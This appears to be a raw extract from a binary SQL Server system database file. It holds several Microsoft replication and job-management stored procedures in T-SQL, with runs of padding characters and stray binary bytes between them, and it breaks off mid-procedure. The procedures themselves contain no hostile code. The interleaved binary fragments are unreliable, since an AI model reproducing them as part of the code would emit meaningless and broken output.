!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!-
B`<<T$:g
0 8
create function sys.fn_replquotename
(
    @string                nvarchar(1998),
    @quote_character    nchar(1) = N'['
)
returns nvarchar(4000)
begin
    declare @result        nvarchar(4000)
    declare @lead_char    nchar(1)
    declare @trail_char    nchar(1)

    -- Set leading/trailing quote characters
    IF @quote_character IN (N'[', N']')
    BEGIN
        SELECT    @lead_char    = N'[',
                @trail_char    = N']'
    END
    ELSE IF @quote_character IN (N'(', N')')
    BEGIN
        SELECT    @lead_char    = N'(',
                @trail_char    = N')'
    END
    ELSE IF @quote_character IN (N'<', N'>')
    BEGIN
        SELECT    @lead_char    = N'<',
                @trail_char    = N'>'
    END
    ELSE IF @quote_character IN (N'{', N'}')
    BEGIN
        SELECT    @lead_char    = N'{',
                @trail_char    = N'}'
    END
    ELSE IF @quote_character IN (N'''', N'"')
    BEGIN
        SELECT    @lead_char = @quote_character,
                @trail_char = @quote_character
    END
    ELSE
    BEGIN
        -- Quotename doesn't issue an error and just outputs NULL.
        -- Do the same thing here
        RETURN NULL
    END

    -- Replace trail character with a duplicate version
    SELECT @result = @lead_char + REPLACE(@string, @trail_char, @trail_char + @trail_char) + @trail_char
    RETURN @result
end
0c@ m8
/*
** The system profile of the same type of agent will be used as a template for 
** the parameters in this new user profile.
*/
create procedure sys.sp_add_agent_profile (
    @profile_id             int = NULL OUTPUT,
    @profile_name           sysname,
    @agent_type             int,            -- 1-Snapshot, 2-Logreader, 
                                            -- 3-Distribution, 4-Merge,
                                            -- 9-Qreader
    @profile_type           int = 1,        -- 0-System, 1-Custom 
    @description            nvarchar(3000) = NULL,
    @default                bit = 0         -- 0-Not Default, 1-Default
)
AS
    SET NOCOUNT ON

    declare     @sys_profile    int
    declare     @default_id     int
    declare     @sysdefault_id  int
    declare     @retcode        int

    /*
    ** Security Check: require sysadmin
    */
    IF (ISNULL(IS_SRVROLEMEMBER('sysadmin'),0) = 0)
    BEGIN
        RAISERROR(21089,16,-1) 
        RETURN (1)
    END

    SELECT @profile_name = RTRIM(@profile_name)

    exec @retcode = sys.sp_MSreplcheck_name @profile_name, '@profile_name', 'sp_add_agent_profile'
    if @@ERROR <> 0 or @retcode <> 0
        return(1)

    /* The profile name is unique across a particular agent type */
    IF EXISTS ( SELECT * FROM msdb..MSagent_profiles 
            WHERE profile_name = @profile_name collate database_default
            AND agent_type = @agent_type )
    BEGIN
        RAISERROR(20057, 16, -1, @profile_name)
        RETURN (1)
    END

    IF @agent_type NOT IN (1, 2, 3, 4, 9)
    BEGIN
        RAISERROR(20058, 16, -1)
        return (1)
    END

    IF @profile_type NOT IN (0, 1)
    BEGIN
        RAISERROR(20059, 16, -1)
        return (1)
    END

    BEGIN TRAN

    /*
    ** First find out the default profile of the same agent type
    */
    select @default_id = profile_id from msdb..MSagent_profiles WHERE agent_type = @agent_type AND def_profile = 1
    
    INSERT INTO msdb..MSagent_profiles
            VALUES (@profile_name, @agent_type, @profile_type, @description, 0)
    IF @@ERROR <> 0
        GOTO UNDO

    SELECT @profile_id = profile_id 
        FROM msdb..MSagent_profiles
        WHERE profile_name = @profile_name collate database_default AND agent_type = @agent_type

    /*
    ** If there is system profiles of the same agent type, use the primary system one as template of parameter set
    */
    IF EXISTS (select * from msdb..MSagent_profiles where agent_type = @agent_type AND type = 0)
        select @sysdefault_id = min(profile_id) from msdb..MSagent_profiles where agent_type = @agent_type AND type = 0

    if @sysdefault_id IS NULL
        select @sysdefault_id = @default_id

    if @profile_type=1
    BEGIN
        INSERT INTO msdb..MSagent_parameters 
            select @profile_id, parameter_name, value from msdb..MSagent_parameters 
                where profile_id = @sysdefault_id      
        if @@ERROR<>0 
            GOTO UNDO
    END

    /* Only one profile for an agent type must be default */
    IF @default = 1
        BEGIN
            UPDATE msdb..MSagent_profiles
                SET def_profile = 0 WHERE profile_id = @default_id
            IF @@ERROR <> 0
                GOTO UNDO
            UPDATE msdb..MSagent_profiles
                SET def_profile = 1 WHERE profile_id = @profile_id
            IF @@ERROR <> 0
                GOTO UNDO
        END

    COMMIT TRAN
    RETURN 0 

UNDO:

    IF @@TRANCOUNT = 1
        ROLLBACK TRAN
    ELSE
        COMMIT TRAN

    RETURN 1 
0 8create procedure sys.sp_help_datatype_mapping
(
    @dbms_name		sysname,
    @dbms_version 	sysname = NULL,
    @sql_type		sysname = '%',
    @source_prec	int = NULL
)
as
    set nocount on
    
	-- Prepare dbms for case insensitive searches
	SET @dbms_name = UPPER(@dbms_name)
    
	SELECT	source_type				as [sql_type],
			source_length_min		as [sql_len_min],
			source_length_max		as [sql_len_max],
			source_precision_min	as [sql_prec_min],
			source_precision_max	as [sql_prec_max],
			source_scale_min		as [sql_scale_min],
			source_scale_max		as [sql_scale_max],
			source_nullable			as [sql_nullable],
			source_createparams		as [sql_createparams],				
			destination_type		as [dest_type],
			destination_length		as [dest_len],
			destination_precision	as [dest_prec],
			destination_scale		as [dest_scale],
			destination_nullable	as [dest_nullable],
			destination_createparams as [dest_createparams],
			dataloss				as [dataloss]
	FROM	sys.fn_helpdatatypemap
			(
				N'MSSQLSERVER',
				'%',
				@sql_type,
				@dbms_name,
				'%',
				'%',
				0
			)
	WHERE	source_dbms			= 'MSSQLSERVER' collate database_default
	  AND	source_version IS NULL
	  AND	destination_dbms	= @dbms_name collate database_default
	  AND	((destination_version = @dbms_version) OR (@dbms_version IS NULL AND destination_version IS NULL))
	  AND	source_type like @sql_type collate database_default
	ORDER BY source_type, destination_type
0o@ V8create procedure sys.sp_MSclosegeneration @gen bigint, @art_nick int, @genguid uniqueidentifier, @replnick binary(6) as
begin
    declare @retcode int
    declare @dt datetime
    declare @changecount int
    
    select @dt = getdate()
    
    exec @retcode = sys.sp_MSmap_generation_to_partitionids @gen, @art_nick, 1
    if @retcode <> 0 or @@error <> 0
    begin
        return 1
    end
            
    exec @retcode = sys.sp_MSget_gen_approx_changecount @gen, @changecount OUTPUT
    if @retcode <> 0 or @@error <> 0
    begin
        return 1
    end
        
    update dbo.MSmerge_genhistory with (rowlock) set guidsrc = @genguid, genstatus = 1, coldate = @dt, changecount = @changecount
            where generation = @gen
    if (@@error <> 0)
    begin
        return 1
    end    
    --update dbo.sysmergesubscriptions set recgen = @gen, recguid = @genguid, 
    --    sentgen = @gen, sentguid = @genguid where replnickname = @replnick
    --if (@@error <> 0)
    --begin
    --    return 1
    --end    
    
    return 0
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!sN`
<Ho++$6Th0&`v@ D8bh:0 8
create procedure sys.sp_linkedservers
as
    select
        SRV_NAME            = srv.name,
        SRV_PROVIDERNAME    = srv.provider,
        SRV_PRODUCT         = srv.product,
        SRV_DATASOURCE      = srv.data_source,
        SRV_PROVIDERSTRING  = srv.provider_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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!n`M	<6=Ә05-@ 
8
-- Procedure sp_MSget_jobstate
--
-- Descriptions: 
--    The proc takes a specific Job ID and returns the Job State of the job
--        Returns a row with one column job_state
--        Returns a row with NULL if job does not exist
-- 
-- Parameters: as defined in create statement
--
-- Returns: 0 - success
--          1 - Otherwise
--
-- Security: 
-- Requires Certificate signature for catalog access
--
create procedure sys.sp_MSget_jobstate
    @job_id             UNIQUEIDENTIFIER
AS
BEGIN
    DECLARE @is_sysadmin INT
    DECLARE @job_owner   sysname
    DECLARE @job_state   INT 
    DECLARE @job_id_as_char VARCHAR(36)

    SET NOCOUNT ON

    CREATE TABLE #xp_results (job_id                UNIQUEIDENTIFIER NOT NULL,
                            last_run_date         INT              NOT NULL,
                            last_run_time         INT              NOT NULL,
                            next_run_date         INT              NOT NULL,
                            next_run_time         INT              NOT NULL,
                            next_run_schedule_id  INT              NOT NULL,
                            requested_to_run      INT              NOT NULL, -- BOOL
                            request_source        INT              NOT NULL,
                            request_source_id     sysname          collate database_default null,
                            running               INT              NOT NULL, -- BOOL
                            current_step          INT              NOT NULL,
                            current_retry_attempt INT              NOT NULL,
                            job_state             INT              NOT NULL)

    -- Need a job_id
    if (@job_id IS NULL)
    BEGIN
        SELECT @job_id_as_char = CONVERT(VARCHAR(36), @job_id)
        RAISERROR(14262, -1, -1, '@job_id', @job_id_as_char)
        RETURN(1) -- Failure
    END

    -- Capture job execution information (for local jobs only since that's all SQLServerAgent caches)
    SELECT @is_sysadmin = ISNULL(IS_SRVROLEMEMBER(N'sysadmin'), 0)
    SELECT @job_owner = suser_sname(suser_sid())
    INSERT INTO #xp_results
    EXECUTE master.dbo.xp_sqlagent_enum_jobs @is_sysadmin, @job_owner

    -- Select the job state of the job in question
    SELECT @job_state = job_state FROM #xp_results WHERE @job_id = job_id

    -- Error if we have no rows selected
    if (@job_state IS NULL)
    BEGIN
        SELECT @job_id_as_char = CONVERT(VARCHAR(36), @job_id)
        RAISERROR(14262, -1, -1, '@job_id', @job_id_as_char)
        RETURN(1) -- Failure
    END
    ELSE
        SELECT @job_state
    
    -- All done
    DROP TABLE #xp_results
    RETURN(0)    -- Success
END
0xq u8create procedure sys.sp_MSget_shared_agent 
(
    @server_name    sysname,
    @database_name    sysname,
    @agent_type        int,
    @publisher        sysname = NULL,
    @publisher_db    sysname = NULL
) 
as
begin
    DECLARE @retcode    int

    SET @retcode = 0

    --
    -- security check
    -- only db_owner and replmonitor can execute this
    --
    if not ((is_member ('db_owner') = 1) or (isnull(is_member('replmonitor'),0) = 1))
    begin
        raiserror(14260, 16, -1)
        return (1)
    end
    
    -- push agents to SQL publications
    if @agent_type = 0
    begin
        if object_id('syssubscriptions') is not null
        begin
            DECLARE @publisher_type sysname

            EXEC @retcode = sys.sp_MSrepl_getpublisherinfo	@publisher      = @publisher,
															@publisher_type = @publisher_type OUTPUT

            IF @retcode <> 0
                RETURN (@retcode)

            select	top 1
                    distribution_jobid AS N'job_id'
            from    syssubscriptions s,
                    sysarticles a,
                    syspublications p
            where   s.srvname = UPPER(@server_name) 
              and   s.dest_db            = @database_name
              and   s.subscription_type  = 0
              and   p.independent_agent  = 0
              and   s.artid              = a.artid
              and   p.pubid              = a.pubid
              and   p.pubid IN (SELECT * FROM sys.fn_IHgetpubid(p.name, @publisher, @publisher_type))
        end
    end
    -- push agents to third party
    else if @agent_type = 1
    begin
        if object_id('MSsubscriptions') is not null
        begin
            select    top 1 job_id AS N'job_id'
            from    MSdistribution_agents da,
                    master.dbo.sysservers spub,
                    master.dbo.sysservers ssub
            where    da.subscriber_id        = ssub.srvid
              and    da.subscriber_db        = @database_name
              and    da.publication            = N'ALL'
              and    da.publisher_id            = spub.srvid
              and    da.publisher_db            = @publisher_db
              and    da.subscription_type    = 0
              and    UPPER(spub.srvname)        = UPPER(@publisher) collate database_default
              and    UPPER(ssub.srvname)        = UPPER(@server_name) collate database_default
        end
    end
    else if @agent_type = 2
    begin
        if object_id('MSreplication_subscriptions') is not null
        begin
            -- For subscriptions added through Active X control
            -- where there's no local agent created, we still don't
            -- want to create new agent.
            select    top 1 agent_id as N'job_id'
            from    MSreplication_subscriptions
            where    UPPER(publisher)    = UPPER(@server_name)
              and    publisher_db        = @database_name
              and    independent_agent    = 0
              and    subscription_type in (1,2)
        end
    end
    
    RETURN (@retcode)
end
0!5@ z8CREATE PROCEDURE sys.sp_MSfast_delete_trans
as
begin
    declare @retcode int

    --
    -- security check is done in sp_MSdrop_snapshot_dirs
    --
    EXEC @retcode = sys.sp_MSdrop_snapshot_dirs
    if( @retcode <> 0 or @@error <> 0 )
    	return 1

    truncate table MSrepl_commands
    truncate table MSrepl_transactions
end
0h 8create proc sys.sp_MScheck_merge_subscription_count 
(
    @publisher sysname,
    @publisher_engine_edition int,
    @about_to_insert_new_subscription bit
)
as 
begin
    set nocount on
    declare @retcode int
    
    -- Security Check: require sysadmin/dbo of dist 
    IF IS_MEMBER('db_owner') != 1
    BEGIN
        RAISERROR(21089,16,-1) 
        RETURN 1
    END

    -- database must be distribution db
    IF sys.fn_MSrepl_isdistdb(DB_NAME()) <> 1
    BEGIN
        RAISERROR (21482, 16, -1, 'sp_MScheck_merge_subscription_count', 'distribution')
        RETURN 1
    END

    exec @retcode = sys.sp_MScheck_subscription_count_internal @mode=1 
                                    ,@publisher = @publisher
                                    ,@publisher_engine_edition = @publisher_engine_edition
                                    ,@about_to_insert_new_subscription = @about_to_insert_new_subscription
    return @retcode
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!^M`<;sl>0quA 8 
-- add it
create view sys.dm_pdw_nodes_os_memory_cache_entries as
select *, convert(int, null) pdw_node_id from sys.dm_os_memory_cache_entries
0M 8create procedure sys.sp_MSgetmetadatabatch
    (@pubid uniqueidentifier,
     @tablenickarray varbinary(2000),
     @rowguidarray varbinary(8000),
     @compatlevel int = 10,             -- backward compatibility level, default=Sphinx
     @lightweight int = 0)              -- if <>0, return some stuff needed to cope with lightweight subscriber
as
    declare @tablenick          int
    declare @tablenicklast      int
    declare @rowguid            uniqueidentifier
    declare @generation         bigint 
    declare @type                       tinyint
    declare @lineage            varbinary(311) 
    declare @colv                       varbinary(2953)
    declare @retcode        smallint
    declare @tnlength       int
    declare @tnoffset       int
    declare @guidoffset     int
    declare @procname       nvarchar(270)
    declare @iscoltracked   int
    declare @maxversion         int
    declare @cCols int

    -- create temp table for returning results
    declare @meta_batch TABLE (idx int identity unique, generation bigint, type tinyint,
        lineage varbinary(311), colv varbinary(2953), maxversion int)
        
    -- security check
    exec @retcode = sys.sp_MSrepl_PAL_rolecheck @pubid=@pubid
    if @@error <> 0 or @retcode <> 0
            return 1

    set @tablenicklast = 0
    -- initialize offsets and length for walking through arrays
    set @tnoffset = 1
    set @guidoffset = 1
    set @tnlength = datalength(@tablenickarray)


    -- walk through arrays and populate temp table
    while (@tnoffset < @tnlength)
    begin
        set @tablenick = substring(@tablenickarray, @tnoffset, 4)
        set @rowguid = substring(@rowguidarray, @guidoffset, 16)

        -- instead of calling sp_MSgetrowmetadata, look it up ourselves might be faster
        
        --  exec @rc = sp_MSgetrowmetadata @tablenick, @rowguid,  @generation output,
        --  @type  output, @lineage output, @colv output, @pubid
        if @tablenick <> @tablenicklast
            begin
            select @procname= 'dbo.' + select_proc, @iscoltracked= column_tracking from dbo.sysmergearticles where nickname = @tablenick and pubid=@pubid
            set @tablenicklast = @tablenick
            end

        set @type= 4
        set @generation= 0
        set @lineage= NULL
        set @colv= NULL

        -- check for row in base table
        exec @retcode= @procname @maxschemaguidforarticle = NULL, @type=@type output, @rowguid=@rowguid
        if @@error <>0 or @retcode <> 0 
        begin
            return (1)
        end

        select @cCols = 0
        if (@type = 3)
        begin
            if @compatlevel < 90
            begin
                set @cCols= sys.fn_cColvEntries_80(@pubid, @tablenick)
            end

            -- here do a union query between contents and tombstone
            -- The normal case here would be: Either the row is in contents or if the row
            -- was added as part of the initial snapshot it does not have a contents row 
            -- however, in the exception case, if there is some partition movement or some 
            -- deletes happening while we do this query, the row could have been deleted
            -- and the MSmerge_contents entry for the row will not be present.
            -- To cover the exception case we do a union query here between contents and tombstones.
            select @type = type, @generation = generation, @lineage = lineage, @colv = colv from
            (
                select 2 as type,  generation as generation, 
                       case when @compatlevel >= 90 then lineage else {fn LINEAGE_90_TO_80(lineage)} end as lineage, 
                       case when @compatlevel >= 90 or @iscoltracked = 0 then colv1 else {fn COLV_90_TO_80(colv1, @cCols)} end as colv
                    from dbo.MSmerge_contents
                    where tablenick = @tablenick and rowguid = @rowguid
                union
                select type as type, generation as generation, 
                       case when @compatlevel >= 90 then lineage else {fn LINEAGE_90_TO_80(lineage)} end as lineage,
                       NULL as colv
                    from dbo.MSmerge_tombstone
                    where tablenick = @tablenick and rowguid = @rowguid
            ) as metadataunion
            
        end
        else
        begin
            set @type= 0
            
            if @compatlevel < 90
            begin
                set @cCols= sys.fn_cColvEntries_80(@pubid, @tablenick)
            end
            
            -- here do a union query between contents and tombstone
            -- The normal case here would be: Either the row is in tombstones or if the row
            -- was never present it will have no entry in tombstone. 
            -- however, in the exception case, if there is some partition movement or some 
            -- re-inserts happening while we do this query, the row could have been re-inserted
            -- and the tombstone entry will not be present.
            -- To cover the exception case we do a union query here between contents and tombstones.
            -- which should be done as an atomic operation.
            select @type = type, @generation = generation, @lineage = lineage, @colv = colv from
            (
                select 2 as type,  generation as generation, 
                       case when @compatlevel >= 90 then lineage else {fn LINEAGE_90_TO_80(lineage)} end as lineage, 
                       case when @compatlevel >= 90 or @iscoltracked = 0 then colv1 else {fn COLV_90_TO_80(colv1, @cCols)} end as colv
                    from dbo.MSmerge_contents
                    where tablenick = @tablenick and rowguid = @rowguid
                union
                select type as type, generation as generation, 
                       case when @compatlevel >= 90 then lineage else {fn LINEAGE_90_TO_80(lineage)} end as lineage,
                       NULL as colv
                    from dbo.MSmerge_tombstone
                    where tablenick = @tablenick and rowguid = @rowguid
            ) as metadataunion2
            
        end
 

        -- insert values into temp table
        if @lightweight <> 0
        begin
            select @maxversion= maxversion_at_cleanup from dbo.sysmergearticles 
                    where nickname = @tablenick and pubid=@pubid

            insert into @meta_batch (generation, type, lineage, colv, maxversion) values
                (@generation, @type, @lineage, @colv, @maxversion) 
        end
        else
        begin
            insert into @meta_batch (generation, type, lineage, colv) values
                (@generation, @type, @lineage, @colv) 
        end

        -- bump up offsets for next time through loop
        set @tnoffset = @tnoffset + 4
        set @guidoffset = @guidoffset + 16
    end

    -- select out our result set
    if @lightweight <> 0
    begin
        select generation, type, lineage, colv, maxversion from @meta_batch order by idx
    end
    else
    begin
        select generation, type, lineage, colv from @meta_batch order by idx
    end

    return (0)
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!Y`<|3s.0E? 8create procedure sys.sp_MSadd_compensating_cmd
(
    @orig_srv sysname,
    @orig_db sysname,
    @command nvarchar(max),
    @article_id int,
    @publication_id int,
    @cmdstate bit=0,
    @mode int=0,
    @setprefix bit=1
)    
AS
BEGIN
    set nocount on
    --
    -- variable declarations for all modes
    --
    declare     
            @retcode            int,
            @command_id         int,                -- command sequence
            @partial_cmd         int,                -- partial command flag
            @curlen            int,                -- current length to read
            @start_index        int,                -- index to start reading
            @max_fragment    int,                -- max binary fragment
            @full_command        nvarchar(max),    -- qualified command
            @readsize            int,                -- read length chars or bytes based on mode
            @mode_postpublog     int,
            @mode_insdistcmd     int,
    --
    -- variable declarations specific to mode = 1
    --
            @partial_cmdbit        bit,                -- partial command flag
            @xact_seqno        varbinary(16),
            @publisher_id         int,                -- publisher ID
            @publisher_db        sysname,         -- publisher Db
            @distributor        sysname,            -- distribution server
            @distribdb            sysname,            -- distribution db
            @charsize            int,                -- char size
            @binary_cmd        varbinary(1024),    -- Binary converted command
            @distproc            nvarchar(300)        -- RPC string
    --
    -- Security Check
    --
    exec @retcode = sys.sp_MSreplcheck_publish
    if ((@@ERROR != 0) or (@retcode != 0))
        return(1)
    --
    -- Initialize
    --
    select @mode_postpublog = 0
            ,@mode_insdistcmd = 1
    --
    -- check @mode
    --
    if (@mode NOT in (@mode_postpublog,@mode_insdistcmd))
        return(1)
    --
    -- check @article_id, @publication_id
    --
    if (@article_id < 1 or @publication_id < 1)
        return(1)
    --
    -- We will not post final partial empty(may contain space) command 
    -- since logreader skips empty commands and this causes distribution 
    -- agent to get confused when it selects the commands to read.
    -- If this partial command happens to be the final partial command which 
    -- has a single space - then add a comment
    --
    if  ((len(@command) = 0) and (@cmdstate = 0))
        select @command = N'/*c*/'
    --
    -- process based on @mode
    --
    --I don't see this proc ever been called with this mode, it's always called with 0 which means postpublog
    --check with Kaushik and see if we can remove this block of code
    if (@mode = @mode_insdistcmd)
    begin
        select @publisher_db = db_name()
                ,@publisher_id = srvid 
        from master.dbo.sysservers 
        where UPPER(srvname) = UPPER(publishingservername()) collate database_default
        --
        -- Get distribution server information for remote RPC calls
        --
        EXECUTE @retcode = sys.sp_MSrepl_getdistributorinfo @rpcsrvname = @distributor OUTPUT,
                                @distribdb  = @distribdb OUTPUT
        if ((@@ERROR != 0) or (@retcode != 0))
            return(1)
        --
        -- Get the new xact_seqno
        --
        create table #new_xact_seqno ( seqno varbinary(16) NOT NULL )
        select @distproc = QUOTENAME(RTRIM(@distributor)) + '.' + QUOTENAME(@distribdb) +'.dbo.sp_MSget_new_xact_seqno'
        insert into #new_xact_seqno
            EXECUTE @retcode = @distproc
                    @publisher_id = @publisher_id,
                    @publisher_db = @publisher_db,
                    @len = 14
        if ((@@ERROR != 0) or (@retcode != 0))
            return(1)
        select @xact_seqno = seqno from #new_xact_seqno    
        select @distproc = QUOTENAME(RTRIM(@distributor)) + '.' + QUOTENAME(@distribdb) +'.dbo.sp_MSadd_repl_command'
    end
    --
    -- Do the command insertion in a tran
    --
    select @full_command = case when (@setprefix = 1) then 
                                        QUOTENAME(@orig_srv) + QUOTENAME(@orig_db) + @command
                                        else @command end
    begin tran sp_MSadd_compensating_cmd
    --
    -- process the command
    -- for @mode_postpublog : just call sp_replpostcmd and that will do the job
    -- for @mode_insdistcmd : break the command into 1024 sized commands and add
    --
    if (@mode = @mode_postpublog)
    begin
        select  @partial_cmd = CASE when (@cmdstate = 1) then 1 else 0 END
        exec @retcode = sys.sp_replpostcmd 
                            @partial_cmd,
                            @publication_id, 
                            @article_id, 
                            12,
                            @full_command
        if (@@ERROR != 0 or @retcode != 0)
            GOTO UNDO
    end
    else if (@mode = @mode_insdistcmd)
    begin
        select @command_id = 0,
                @start_index = 1,
                @max_fragment = 1024,
                @charsize = 2,
                @curlen = LEN(@full_command),
                @readsize = DATALENGTH(@full_command)

        while (@readsize > 0)
        begin
            -- set command id
            select @command_id = @command_id + 1

            -- Check if we have to process partial command
            if (@readsize > @max_fragment)
            begin
                --
                -- we have partial command to send
                --
                select @curlen = @max_fragment / @charsize
                select @partial_cmdbit = 1,
                        @binary_cmd = CAST(
                                SUBSTRING(@full_command, @start_index, @curlen)
                                AS varbinary(1024)),
                        @readsize = @readsize - @max_fragment

                select @start_index = @start_index + @curlen
                select @curlen = @readsize / @charsize
            end
            else
            begin
                --
                -- last fragment to send - end of command
                -- check for command state - if state is PARTIAL_CMD (1)
                -- then set the partial bit even though this is the last fragment
                --
                select @partial_cmdbit = CASE when (@cmdstate = 1) then 1 else 0 END,
                        @binary_cmd = CAST(
                                SUBSTRING(@full_command, @start_index, @curlen) 
                                AS varbinary(1024)),
                        @readsize = 0
            end
            --
            -- Add the command to the distributor
            --
            EXECUTE @retcode = @distproc
                    @publisher_id = @publisher_id, 
                    @publisher_db = @publisher_db, 
                    @xact_seqno = @xact_seqno,
                    @type = 12, 
                    @article_id = @article_id, 
                    @command_id = @command_id, 
                    @partial_command = @partial_cmdbit, 
                    @command = @binary_cmd
            if (@@ERROR != 0 or @retcode != 0)
                GOTO UNDO
        end -- end of while loop
    end     -- end of if (@mode = @mode_insdistcmd)
    --
    -- Command(s) added successfully - End Tran
    --
    commit tran sp_MSadd_compensating_cmd
    return (0)

UNDO:
    --
    -- Error - Rollback
    --
    IF (@@TRANCOUNT > 0)
    begin
        ROLLBACK TRAN sp_MSadd_compensating_cmd
        if (@@TRANCOUNT > 0)
            COMMIT TRAN   
    end
    return (1)    
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<O
xA["0Ex@ 	8create procedure sys.sp_MSsendtosqlqueue (
    @objid int
    ,@publisher sysname
    ,@publisher_db sysname
    ,@publication sysname
    ,@owner sysname
    ,@tranid sysname
    ,@data varbinary(8000)
    ,@datalen int
    ,@commandtype int = 1
    ,@cmdstate bit = 0
)
as
begin
    set nocount on
    --
    -- Security check
    -- Make sure this proc is infact being called from the given object(trigger)
    -- 
    if (trigger_nestlevel(@objid) = 0)
    begin
        raiserror(14126, 16, 2)
        return 1
    end
    --
    -- Security check: the caller of this SP has to be one of the 
    -- predefined replication objects for this subscription
    --
    if not exists (select so.object_id from (dbo.MSreplication_objects as ro join sys.objects as so
        on ro.object_name = so.name)
        where so.object_id = @objid and ro.object_type = 'T' 
        and (@owner is null or schema_name(so.schema_id) = @owner))
    begin
        raiserror(14126, 16, 3)
        return 1
    end
    --
    -- insert into the queue table
    --
    insert into dbo.MSreplication_queue with (rowlock) (publisher,publisher_db,publication,tranid,data,datalen,commandtype,cmdstate)
        values(UPPER(@publisher),@publisher_db,@publication,@tranid,@data,@datalen,@commandtype,@cmdstate)
    if (@@error != 0)
        return 1
    --
    -- Update MSrepl_queuedtraninfo
    --
    if exists (select *
        from dbo.MSrepl_queuedtraninfo with (nolock)
        where publisher = UPPER(@publisher) 
            and publisher_db = @publisher_db 
            and publication = @publication
            and tranid = @tranid)
    begin
        --
        -- row for this transaction exists - update it
        --
        update dbo.MSrepl_queuedtraninfo with (rowlock)
        set maxorderkey = @@identity
            ,commandcount = commandcount + 1
        where publisher = UPPER(@publisher)
            and publisher_db = @publisher_db 
            and publication = @publication
            and tranid = @tranid
    end
    else
    begin
        --
